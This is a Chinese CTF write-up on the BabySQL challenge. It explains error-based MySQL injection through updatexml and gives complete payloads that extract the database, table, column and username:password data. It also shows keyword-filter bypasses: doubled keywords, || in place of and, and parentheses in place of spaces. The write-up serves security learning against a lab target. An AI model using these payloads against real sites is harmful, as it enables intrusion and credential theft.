**摘要:**本题主要考查对无回显的报错注入 实战使用方法。
目录
[2、利用 updatexml 函数(爆库名)](#2、利用 updatexml 函数(爆库名))
[4、利用 updatexml 函数(爆字段名)](#4、利用 updatexml 函数(爆字段名))
[5、利用 updatexml 函数(爆数据)](#5、利用 updatexml 函数(爆数据))
一、题目详情
题目来源:CTF²中的"极客大挑战 2019BabySQL"

靶机环境: 启动靶机,进入靶机http://bcb4835e85fc7c1a933a9d4d.http-ctf2.dasctf.com:80

二、解题思路及原理
1、登录绕过


万能密码失效,但可以得出(1)页面是不显示查询结果,但会显示 SQL 报错信息(2)是字符型注入
2、利用 updatexml 函数(爆库名)
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#注:页面会报错:
XPATH syntax error: ~test~,从而拿到数据库名。
and:逻辑与,把恶意条件拼进原查询。
updatexml(xml_target, xpath_expr, new_value)是 MySQL 用来修改 XML 文档的函数。
updatexml第1参数和第3参数:这里随便给个1占位,因为根本不打算真的修改,只为触发报错,无实际作用。
updatexml第2个参数要求合法的 XPATH 表达式,传入非法内容时,会把内容原样带出报错:XPATH syntax error: '...';如果 XPath 格式错误,MySQL 会抛出错误,并把错误内容(即你传入的字符串)显示在报错信息里 。(通过看这个内容来判断我们的sql语句注入情况)
concat(0x7e, (子查询), 0x7e):把~+ 子查询结果 +~拼成一个字符串,作为非法 XPath。
0x7e是~的十六进制,作为边界标记,方便从报错里截取有效内容
updatexml()和extractvalue()函数在报错注入时,报错信息中能回显的字符串长度,最大就是 32 个字符 。(但为了能看到"~"边界标记,这里设置默认为30个字符)
测试:
(1)完整函数输入


- 注意看那个报错内容,把我们的关键字进行过滤了(因为select不见了)。因为还不确定会不会过滤别的关键字,但经过测试会把所有关键字过滤。
- 此外,从报错内容可以看到我们前面那个and和空格都不见了,说明还会过滤空格和and。
后续:通过
||(或运算)代替and把注入语句拼进原有查询,空格过滤掉就不用写空格了。
其实应该这么写,才能代替and把注入语句拼入原有查询 '|| ... ||' 但后面我用用#把"||'"注释掉了
(2)双写关键字实现绕过过滤机制
过滤逻辑是「检测到关键字就删除,且只删一次」。绕过方法:把关键字自身嵌套进自己中间,删掉中间一份后剩余部分正好拼回原词:
原关键字 双写形式 删除一次后 selectselselectectselectfromfrfromomfromwherewwhereherewhereoroorr(嵌在单词里)orsubstrsubsubstrstrsubstrlimitllimitimitlimit本题最大的坑:过滤器不分单词边界,直接删子串,所以会误伤正常单词:
information_schema含or→ 被删成infmation_schema→ 需写成infoorrmation_schema
password含or→ 被删成passwrd→ 需写成passwoorrd
如何诊断会过滤哪些词:
报错回显里缺了哪个词,下次就把哪个词双写。
报错信息会原样显示最终执行的 SQL 片段,对比自己提交的 payload 就能精确看出过滤名单。
经测试,需要输入以下的sql代码才能绕过拿到库名:
'||updatexml(1,concat(0x7e,(selselectect database()),0x7e),1)#

3、利用 updatexml 函数(爆表名)
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#子查询:
select group_concat(table_name) from information_schema.tables where table_schema=database()|----------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|
|group_concat(table_name)| 聚合函数,把多行table_name合并成一个逗号分隔的字符串 。因为updatexml的第 2 参数只能接收单值 ,若直接select table_name会返回多行而报错,所以用group_concat把多行压成一行 |
|from information_schema.tables|information_schema是 MySQL 自带的元数据数据库 ,tables表记录了所有库对应的所有表的信息 |
|where table_schema=database()| 过滤条件:只取当前所在数据库 的表,database()返回当前数据库名。 |
|table_name|information_schema.tables里的字段,即表的名字 |
这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。
'||updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))frfromom(infoorrmation_schema.tables)whewherere(table_schema='geek')),0x7e),1)#|------------------------|------------------------------------|
|selselectect| 绕过「删一次」式过滤,删除后还原成select|
|frfromom| 同上,还原成from|
|infoorrmation_schema| 绕过对or/information的过滤 |
| 大量()| 打断 WAF 正则的连续关键词匹配,同时不破坏 SQL 语法 |
|||| 替代and/or,绕过关键词过滤 |括号在 SQL 里本来就可用于包裹子查询/表达式:
(select ...)→ 子查询,合法
(group_concat(...))→ 函数调用加括号,合法
from (information_schema.tables)→ 表名加括号,合法
where (table_schema='geek')→ 条件加括号,合法
结果如下:

拿到了两个表,根据做题经验,flag一般藏在b4bsql中。
4、利用 updatexml 函数(爆字段名)
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'),0x7e),1)#同上,这里不过阐述。
这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。
'||updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)whwhereere(table_name='b4bsql')),0x7e),1)#
测试结果如下:

得到了字段名为id、username、password
5、利用 updatexml 函数(爆数据)
' and updatexml(1,concat(0x7e,(select group_concat(字段1,0x3a,字段2) from 表名),0x7e),1)#同上,这里不过阐述。
这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。
'||updatexml(1,concat(0x7e,(selselectect(subsubstrstr(group_concat(username,':',passwoorrd),N,30))frfromom(b4bsql)),0x7e),1)#由于每次回显的是30个字符,故需要修改参数N依次取 1, 31, 61, 91, 121, 151, 181, 211
直到最后界面上显示的是~~,即为输出结果。
|------------------------------------------|-----------------------------------------|
|substr(..., N, 30)| 从第 N 位开始,取 30 个字符------解决 32 字符回显上限 |
|group_concat(username, 0x2d, password)| 把多行username-password拼成一行 |
N=1:

N=31:

N=61:

N=91:

N=121:

N=151:

N=181:开始出现flag了,就快拿到了

N=211:

其实这里已经拿到完整的flag,但我还想看看后面是啥。N=241:

看到出现"~~"显示输出结束的标志了!